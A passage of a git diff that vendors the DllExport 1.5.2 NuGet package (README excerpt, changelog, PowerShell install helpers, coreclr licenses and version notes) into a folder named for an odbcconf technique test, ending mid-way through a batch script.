C++ programs +[DllExport(CallingConvention.StdCall)] +[DllExport("MyFunc")] +[DllExport] +``` + +Support of Modules: Library (**.dll**) and Executable (**.exe**) [[?](https://github.com/3F/DllExport/issues/18)] + + +Where to look ? v1.2+ provides dynamic definitions of namespaces (ddNS feature), thus you can use what you want - details **[here](https://github.com/3F/DllExport/issues/2)** + +```cpp + Via Cecil or direct modification: + + Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F + + 000005B0 00 C4 7B 01 00 00 00 2F 00 12 05 .Ä{..../... + 000005C0 00 00 02 00 00 00 00 00 00 00 00 00 00 00 26 00 ..............&. + 000005D0 20 02 00 00 00 00 00 00 00 49 2E 77 61 6E 74 2E ........I.want. <<<- + 000005E0 74 6F 2E 66 6C 79 00 00 00 00 00 00 00 00 00 00 to.fly.......... <<<- +``` + +[![](https://raw.githubusercontent.com/3F/DllExport/master/Resources/img/DllExport.png)](#) +[![](https://raw.githubusercontent.com/3F/DllExport/master/Resources/img/DllExport_ordinals.png)](https://github.com/3F/DllExport/issues/11#issuecomment-250907940) + +---- + + +[Initially](https://github.com/3F/DllExport/issues/3) the original tool `UnmanagedExports` was distributed by Robert Giesecke as an closed-source tool **under the [MIT License](https://opensource.org/licenses/mit-license.php)**: + +* [Official page](https://sites.google.com/site/robertgiesecke/Home/uploads/unmanagedexports) - *posted Jul 9, 2009 [ updated Dec 19, 2012 ]* +* [Official NuGet Packages](https://www.nuget.org/packages/UnmanagedExports) + +Now, we will be more open ! all details [here](https://github.com/3F/DllExport/issues/3) + +## License + +It still under the [MIT License (MIT)](https://github.com/3F/DllExport/blob/master/LICENSE) - be a ~free~ and open + +## & + +### How it works + +Current features has been implemented through [ILDasm](https://github.com/3F/coreclr/tree/master/src/ildasm) & [ILAsm](https://github.com/3F/coreclr/tree/master/src/ilasm) that does the all required steps via `.export` directive. + +**What inside ? or how works the .export directive ?** + +Read about format PE32/PE32+, start with grammar from asmparse and move to writer: + +```cpp +... +if(PASM->m_pCurMethod->m_dwExportOrdinal == 0xFFFFFFFF) +{ + PASM->m_pCurMethod->m_dwExportOrdinal = $3; + PASM->m_pCurMethod->m_szExportAlias = $6; + if(PASM->m_pCurMethod->m_wVTEntry == 0) PASM->m_pCurMethod->m_wVTEntry = 1; + if(PASM->m_pCurMethod->m_wVTSlot == 0) PASM->m_pCurMethod->m_wVTSlot = $3 + 0x8000; +} +... +EATEntry* pEATE = new EATEntry; +pEATE->dwOrdinal = pMD->m_dwExportOrdinal; +pEATE->szAlias = pMD->m_szExportAlias ? pMD->m_szExportAlias : pMD->m_szName; +pEATE->dwStubRVA = EmitExportStub(pGlobalLabel->m_GlobalOffset+dwDelta); +m_EATList.PUSH(pEATE); +... +// logic of definition of records into EXPORT_DIRECTORY (see details from PE format) +HRESULT Assembler::CreateExportDirectory() +{ +... + IMAGE_EXPORT_DIRECTORY exportDirIDD; + DWORD exportDirDataSize; + BYTE *exportDirData; + EATEntry *pEATE; + unsigned i, L, ordBase = 0xFFFFFFFF, Ldllname; + ... + ~ now we're ready to miracles ~ +``` + +or read my short explanations from here: [DllMain & the export-table](https://github.com/3F/DllExport/issues/5#issuecomment-240697109); [DllExport.dll](https://github.com/3F/DllExport/issues/28#issuecomment-281957212); [.exp & .lib](https://github.com/3F/DllExport/issues/9#issuecomment-246189220); [ordinals](https://github.com/3F/DllExport/issues/8#issuecomment-245228065) ... + +### How to get DllExport + +Available variants: + +* NuGet PM: `Install-Package DllExport` +* [GetNuTool](https://github.com/3F/GetNuTool): `msbuild gnt.core /p:ngpackages="DllExport"` or [gnt](https://github.com/3F/GetNuTool/releases/download/v1.5/gnt.bat) /p:ngpackages="DllExport" +* NuGet Commandline: `nuget install DllExport` +* [/releases](https://github.com/3F/DllExport/releases) ( [latest](https://github.com/3F/DllExport/releases/latest) ) +* [Nightly builds](https://ci.appveyor.com/project/3Fs/dllexport/history) (`/artifacts` page). But remember: It can be unstable or not work at all. Use this for tests of latest changes. + +### How to Build + +No requires additional steps for you, just build as you need. + +Use build.bat if you need final NuGet package as a `DllExport..nupkg` etc. +* *You do not need to do anything inside IDE if you have installed [this plugin](https://visualstudiogallery.msdn.microsoft.com/0d1dbfd7-ed8a-40af-ae39-281bfeca2334/).* + + +### How to Debug + +For example, find the DllExport.MSBuild project in solution: + +* `Properties` > `Debug`: + * `Start Action`: set as `Start External program` + * Add full path to **msbuild.exe**, for example: C:\Program Files (x86)\MSBuild\14.0\Bin\MSBuild.exe + * `Start Options` > `Command line arguments` write for example: + +```bash +".sln" /t:Build /p:Configuration= +``` + +use additional `Diagnostic` key to msbuild if you need details from .targets +```bash +".sln" /verbosity:Diagnostic /t:Rebuild /p:Configuration= +``` + +Go to `Start Debugging`. Now you can debug at runtime. + +### coreclr - ILAsm / ILDasm + +We use **our custom versions of coreclr**, special for DllExport project - https://github.com/3F/coreclr + +This helps to avoid some problems ([like this](https://github.com/3F/DllExport/issues/17)) and more... + +*To build minimal version (means that it does not include all components as for original coreclr repo):* + +* Restore git submodule or use repo: https://github.com/3F/coreclr.git + +```bash +git submodule update --init --recursive +``` + +*Make sure that you have installed [CMake](https://cmake.org/download/), then build simply:* + +```bash +build_s all x86 x64 Release +build_s x86 Release +``` + +or use +```bash +build_coreclr_x86.cmd +build_coreclr_x86_x64.cmd +``` + +*You can also use our binaries of coreclr separately if needed:* + +* [![NuGet package](https://img.shields.io/nuget/v/ILAsm.svg)](https://www.nuget.org/packages/ILAsm/) +* Look also [here](https://github.com/3F/coreclr/issues/1) + +------------- + +**Support ?** + +[just a note again...](https://plus.google.com/101239554716569212042/posts/6yP64gDyum1) +*I mentioned earlier that DllExport is not priority for me (current impl.) "- I will do something from current tasks, but guys, please support it with me" and... why so many support from me o_o* \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/changelog.txt b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/changelog.txt new file mode 100644 index 00000000..785af0e7 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/changelog.txt @@ -0,0 +1,80 @@ +DllExport - github.com/3F/DllExport +- - - - - - - - - - - - - - - - - - + +[v1.5.2] 2017.03.13 + + * FIXED: Failing to compile in VS2017. Issue #29 + `Error The "DllExportAppDomainIsolatedTask" task failed unexpectedly. System.ArgumentException: Requested value 'Version46' was not found.` + + * FIXED: Possible error `Could not load file or assembly Microsoft.Build.Utilities or one of its dependencies.` + * CHANGED: Updated script for loading of the Configurator to avoid problem with old assemblies. Issue #22 + +[v1.5.1] 2016.11.12 + + * FIXED: Error : Invalid Option: /CVRES= Issue #20 + * NOTE: Our coreclr version was compiled with MSVC 14.0. Related Issue #21 + +[v1.5] 2016.11.04 + + * FIXED: Fixed problem with white-space chars in path: `Cannot find path '' because it does not exist ...` + * FIXED: Fixed typo with fullseq (ddNS) - incorrect `0x30 0x30` ~0x007A7-0x007A8 /details in #14 + * FIXED: Possible problem with NullReferenceException when removing package. + * FIXED: Fixed problem with old NS data when we try to install package for project A, then for project B + * NEW: Implemented 'Generate .exp + .lib via MS Library Manager' #9 + GUI Configurator + MSBuild property: `DllExportGenExpLib` + + * NEW: Added support of unmanaged-export for Executable Modules (.exe) #18 + * NEW: Cecil variant for ddNS features /#14, #2 + * NEW: Added our custom IL Assembler as option to fix incorrect 0x13 / 0x11 opcodes. #17 + GUI Configurator + MSBuild property: `DllExportOurILAsm` + It should help for users of Fody projects, etc. + https://github.com/Fody/Fody/issues/271 + + IlAsm 4.5.1 https://github.com/3F/coreclr + based on 4.5.22220.0 / coreclr 1.0.4 + changelog of our coreclr for this release: https://github.com/3F/coreclr/blob/master/changelog.txt + + * CHANGED: Updated scripts of installing/removing package for more correct loading of our assemblies. + +[v1.4] 2016.10.05 + + * FIXED: Fixed bug - `An item with the same key has already been added`. Issue #10 + * FIXED: Bug with Meta library: Incorrect default values. Issue #16 + please note, the __cdecl is the default calling convention for our library + as and for C and C++ programs. + + * FIXED?: Probably fixed bug - `Script errors on package install` Issue #6 + * FIXED?: Probably fixed bug - `non-English system language - syntax error` Issue #7 + * NEW: GUI Configurator with updated ddNS features. + * NEW: Implemented feature 'Export for platform': [ x86 / x64 / x86 + x64 ] Issue #9 + * NEW: Implemented feature 'Base for ordinals'. Issue #11 + There is also alternative to configure this number - MSBuild property: DllExportOrdinalsBase + + * NEW: The one (1) now is used by default as Base for all ordinals. + `Mimic ordinal counter (start from 1 instead of 0)` Issue #8 + + * CHANGED: The ddNS features now as binary cmdlet `NSBin`. Use `nsbin.bat` if needed. + * CHANGED: `Set "Inherited = false" in AttributeUsage for DllExportAttribute`. Issue #15 + * OTHER: other possible changes and fixes. + +[v1.3] 2016.08.21 + + * FIXED: bug 'Incorrect library' when DllExport installed for 2+ projects. + * CHANGED: DllExport now uses `Cdecl` calling convention by default. + * CHANGED: Mono.Cecil v0.9.6.4 + +[v1.2] 2016.07.13 + + * CHANGED: dynamic definition of namespace for user scope. Issue #2 + +[v1.1] 2016.06.29 + + * CHANGED: DllExport now is part of System.Runtime.InteropServices as and DllImport. + * CHANGED: Mono.Cecil v0.9.6.1 + * NEW: 0x80070005 meaning... Issue #1 + * NEW: +DllExport(CallingConvention convention) signature + +[v1.0] 2016.06.25 + + * Initial the open release, based on v1.2.7.38850 + diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/lib/net20/DllExport.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/lib/net20/DllExport.dll new file mode 100644 index 00000000..4c13ce7a Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/lib/net20/DllExport.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/lib/net20/DllExport.dll.ddNSi b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/lib/net20/DllExport.dll.ddNSi new file mode 100644 index 00000000..57c695c5 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/lib/net20/DllExport.dll.ddNSi differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/lib/net20/DllExport.dll.raw b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/lib/net20/DllExport.dll.raw new file mode 100644 index 00000000..9d673d4f Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/lib/net20/DllExport.dll.raw differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/DllExportCmdLets.psm1 b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/DllExportCmdLets.psm1 new file mode 100644 index 00000000..cf24d4e8 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/DllExportCmdLets.psm1 @@ -0,0 +1,141 @@ +function Remove-OldDllExportFolder { + param($project) + $defaultFiles = ('DllExportAttribute.cs', + 'Mono.Cecil.dll', + 'RGiesecke.DllExport.dll', + 'RGiesecke.DllExport.pdb', + 'RGiesecke.DllExport.MSBuild.dll', + 'RGiesecke.DllExport.MSBuild.pdb', + 'net.r_eg.DllExport.targets') + + $projectFile = New-Object 'System.IO.FileInfo'($project.FullName) + + $projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % { + $dllExportDir = $_ + + if($dllExportDir.GetDirectories().Count -eq 0){ + $unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ } + + if(-not $unknownFiles){ + Write-Host "Removing 'DllExport' from " $project.Name + $project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % { + $_.Remove() + } + + Write-Host "Deleting " $dllExportDir.FullName " ..." + $dllExportDir.Delete($true) + } + } + } +} + +function Remove-OldDllExportFolders { + Get-Project -all | % { + Remove-OldDllExportFolder $_ + } +} + +function Get-MBEGlobalProjectCollection { + $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; + $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) + + if(!$msBuildV4) { + throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.") + } + + $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') + + return $projectCollection::GlobalProjectCollection +} + +function Get-DllExportMsBuildProjectsByFullName([String] $fullName) { + $gpc = Get-MBEGlobalProjectCollection + + return $gpc.GetLoadedProjects($fullName) +} + +function Get-TempPathToDllTools([String] $toolsPath) { + + $tempRoot = (Join-Path $([System.IO.Path]::GetTempPath()) '50ACAD2A-5AB3-4E6A-BA66-07F55672E91F') -replace ' ', '` ' + $tempFolder = $([System.Guid]::NewGuid()); + $delprefix = '__del__'; + + # rename for checking of lock / loaded assemblies + Get-ChildItem -Recurse -Path $tempRoot | ?{ $_.PSIsContainer } | %{ + Rename-Item -ErrorAction SilentlyContinue -Path $_.FullName -NewName "$delprefix$($_.Name)" + } + + # now try to delete only this + Get-ChildItem -Recurse -Path $tempRoot | ?{ $_.PSIsContainer -and $_.Name.StartsWith($delprefix) } | %{ + Remove-Item $_.FullName -Force -Recurse -ErrorAction SilentlyContinue + } + + $tdll = (Join-Path $tempRoot $tempFolder); + if(!(Test-Path -path $tdll)) { + New-Item $tdll -Type Directory >$null + } + Copy-Item $toolsPath\*.dll -Destination $tdll >$null + + return $tdll +} + +function Get-TempPathToConfiguratorIfNotLoaded([String] $asmFile, [String] $toolsPath) { + + $tdll = Get-TempPathToDllTools $toolsPath + $mdll = (Join-Path $tdll $asmFile) + + if(!(Get-Module -Name $asmFile)) { + # Import-Module $mdll; + return $mdll + } + return $null +} + +# solution from here: https://github.com/3F/vsSolutionBuildEvent/blob/master/vsSolutionBuildEvent/Actions/ActionCSharp.cs +# we can use it from 'init.ps1' for loading only once, or from 'install.ps1' / 'uninstall.ps1' to use always latest assemblies +function Load-Configurator([String] $toolsPath) { + + Get-Module -All | ?{ $_.Name -like '*net.r_eg.DllExport.Configurator*' } | % { Remove-Module $_ } + + $nsbin = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\NSBin.dll")); + $conf = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\net.r_eg.DllExport.Configurator.dll")); + + return $conf; +} + +function Get-AllDllExportMsBuildProjects { + (Get-Project -all | % { + Get-DllExportMsBuildProjectsByFullName $_.FullName + }) | ? { + return ($_.Xml.Imports | ? { + "net.r_eg.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project); + }).Length -gt 0; + } +} + +function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) { + $projects = Get-AllDllExportMsBuildProjects; + + [String] $asString = $value; + + if($projectName) { + $projects = $projects | where { $_.Name -ieq $projectName }; + } + $propertyName = 'NoDllExportsForAnyCpu'; + + $projects = $projects | where { + $_.GetPropertyValue($propertyName) -ine $asString + } | % { + $_.SetProperty($propertyName, $asString); + } +} + +Export-ModuleMember Set-NoDllExportsForAnyCpu +Export-ModuleMember Get-MBEGlobalProjectCollection +Export-ModuleMember Get-TempPathToDllTools +Export-ModuleMember Get-TempPathToConfiguratorIfNotLoaded +Export-ModuleMember Load-Configurator +Export-ModuleMember Remove-OldDllExportFolder +Export-ModuleMember Remove-OldDllExportFolders +Export-ModuleMember Get-DllExportMsBuildProjectsByFullName +Export-ModuleMember Get-AllDllExportMsBuildProjects \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Microsoft.Build.Framework.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Microsoft.Build.Framework.dll new file mode 100644 index 00000000..6c6f19be Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Microsoft.Build.Framework.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Microsoft.Build.Utilities.v4.0.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Microsoft.Build.Utilities.v4.0.dll new file mode 100644 index 00000000..f797a177 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Microsoft.Build.Utilities.v4.0.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Microsoft.Management.Infrastructure.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Microsoft.Management.Infrastructure.dll new file mode 100644 index 00000000..786b7593 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Microsoft.Management.Infrastructure.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Mono.Cecil.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Mono.Cecil.dll new file mode 100644 index 00000000..5a07cf6b Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/Mono.Cecil.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/NSBin.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/NSBin.dll new file mode 100644 index 00000000..4e9958d6 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/NSBin.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/NSBin.pdb b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/NSBin.pdb new file mode 100644 index 00000000..09087e21 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/NSBin.pdb differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.dll new file mode 100644 index 00000000..231d6ef4 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.pdb b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.pdb new file mode 100644 index 00000000..ac21f927 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.pdb differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.dll new file mode 100644 index 00000000..970e713e Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.pdb b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.pdb new file mode 100644 index 00000000..b30ef138 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.pdb differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/System.Management.Automation.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/System.Management.Automation.dll new file mode 100644 index 00000000..41a5fe9a Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/System.Management.Automation.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/LICENSE.TXT b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/LICENSE.TXT new file mode 100644 index 00000000..99ae10b2 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/LICENSE.TXT @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) .NET Foundation and Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/PATENTS.TXT b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/PATENTS.TXT new file mode 100644 index 00000000..4b61bfaa --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/PATENTS.TXT @@ -0,0 +1,47 @@ +Microsoft Patent Promise for .NET Libraries and Runtime Components + +Microsoft Corporation and its affiliates ("Microsoft") promise not to assert +any .NET Patents against you for making, using, selling, offering for sale, +importing, or distributing Covered Code, as part of either a .NET Runtime or +as part of any application designed to run on a .NET Runtime. + +If you file, maintain, or voluntarily participate in any claim in a lawsuit +alleging direct or contributory patent infringement by any Covered Code, or +inducement of patent infringement by any Covered Code, then your rights under +this promise will automatically terminate. + +This promise is not an assurance that (i) any .NET Patents are valid or +enforceable, or (ii) Covered Code does not infringe patents or other +intellectual property rights of any third party. No rights except those +expressly stated in this promise are granted, waived, or received by +Microsoft, whether by implication, exhaustion, estoppel, or otherwise. +This is a personal promise directly from Microsoft to you, and you agree as a +condition of benefiting from it that no Microsoft rights are received from +suppliers, distributors, or otherwise from any other person in connection with +this promise. + +Definitions: + +"Covered Code" means those Microsoft .NET libraries and runtime components as +made available by Microsoft at https://github.com/dotnet/coreclr, +https://github.com/dotnet/corefx and https://github.com/dotnet/corert. + +".NET Patents" are those patent claims, both currently owned by Microsoft and +acquired in the future, that are necessarily infringed by Covered Code. .NET +Patents do not include any patent claims that are infringed by any Enabling +Technology, that are infringed only as a consequence of modification of +Covered Code, or that are infringed only by the combination of Covered Code +with third party code. + +".NET Runtime" means any compliant implementation in software of (a) all of +the required parts of the mandatory provisions of Standard ECMA-335 – Common +Language Infrastructure (CLI); and (b) if implemented, any additional +functionality in Microsoft's .NET Framework, as described in Microsoft's API +documentation on its MSDN website. For example, .NET Runtimes include +Microsoft's .NET Framework and those portions of the Mono Project compliant +with (a) and (b). + +"Enabling Technology" means underlying or enabling technology that may be +used, combined, or distributed in connection with Microsoft's .NET Framework +or other .NET Runtimes, such as hardware, operating systems, and applications +that run on .NET Framework or other .NET Runtimes. \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/README.md b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/README.md new file mode 100644 index 00000000..a4fc92dc --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/README.md @@ -0,0 +1,18 @@ +[.NET Core Runtime (CoreCLR)](https://github.com/3F/coreclr) +=========================== + +This repo contains the .NET Core runtime, called CoreCLR, and the base library, called mscorlib. It includes the garbage collector, JIT compiler, base .NET data types and many low-level classes. + +Build Status +------------ + + | CI +--------------------| ---------------- +Win.x86-x64.Release | [![Build status](https://ci.appveyor.com/api/projects/status/4gwh8k5wn62tk8iv/branch/master?svg=true)](https://ci.appveyor.com/project/3Fs/coreclr/branch/master) + + +License +------- + +.NET Core (including the coreclr repo) is licensed under the [MIT license](LICENSE.TXT). + diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/_Version.txt b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/_Version.txt new file mode 100644 index 00000000..c2198013 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/_Version.txt @@ -0,0 +1,10 @@ + +Architecture | Platform | Config | commit-sha1 | ILD/Asm | coreclr | Path +-------------|----------|---------|------------------------------------------|---------------------------|---------|------------- +x86 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x86\ +x64 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x64\ + +`* - The base of version, i.e. it can be different from official release` + +https://github.com/3F/coreclr + diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/changelog.txt b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/changelog.txt new file mode 100644 index 00000000..113dd884 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/changelog.txt @@ -0,0 +1,26 @@ +https://github.com/3F/coreclr +- - - - - - - - - - - - - - - - + +# coreclr \ ILAsm + +[v4.5.1] + + * FIXED: Fixed using of cvtres (.res -> obj COFF-format) in mscorpe. + Possible crash: https://github.com/3F/coreclr/issues/2 + Related Issue: https://github.com/3F/DllExport/issues/17 + + * NEW: Implemented additional searching of the converters of resources: + Environment PATH, local directory, and other additional from user path. + Now it also can be wrapped like ` mytool.cmd -> cvtres.exe %* ` etc. + + * NEW: Added new /CVRES (/CVR) key to ilasm.exe + `/CVRES= Set path to cvtres tool: /CVR=cvtres.exe /CVR=tool\cvtres.cmd /CVR=D:\tool\` + + * NOTE: based on 4.5.22220.0 / coreclr 1.0.4 + ^ ^ ^ ^ + | | | |-- VER_FILEVERSIONREVISION + | | |------- VER_FILEVERSIONBUILD + | |---------- VER_FILEVERSIONMINOR + |------------ VER_MAJORVERSION + + diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/coreclr.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/coreclr.dll new file mode 100644 index 00000000..08a6d5e0 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/coreclr.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/ilasm.exe b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/ilasm.exe new file mode 100644 index 00000000..0289b6e4 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/ilasm.exe differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/ildasm.exe b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/ildasm.exe new file mode 100644 index 00000000..c61b6a26 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/ildasm.exe differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/ildasmrc.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/ildasmrc.dll new file mode 100644 index 00000000..7f42d52b Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/ildasmrc.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/mscordaccore.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/mscordaccore.dll new file mode 100644 index 00000000..2730505b Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/mscordaccore.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/mscordbi.dll b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/mscordbi.dll new file mode 100644 index 00000000..b6de6f3b Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/coreclr/mscordbi.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/gnt.bat b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/gnt.bat new file mode 100644 index 00000000..82b358b7 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/tools/gnt.bat @@ -0,0 +1,59 @@ +@echo off +:: GetNuTool - Executable version +:: Copyright (c) 2015-2016 Denis Kuzmin [ entry.reg@gmail.com ] +:: https://github.com/3F/GetNuTool + +set gntcore=gnt.core +set tgnt="%temp%\%random%%random%%gntcore%" + +set args=%* +set 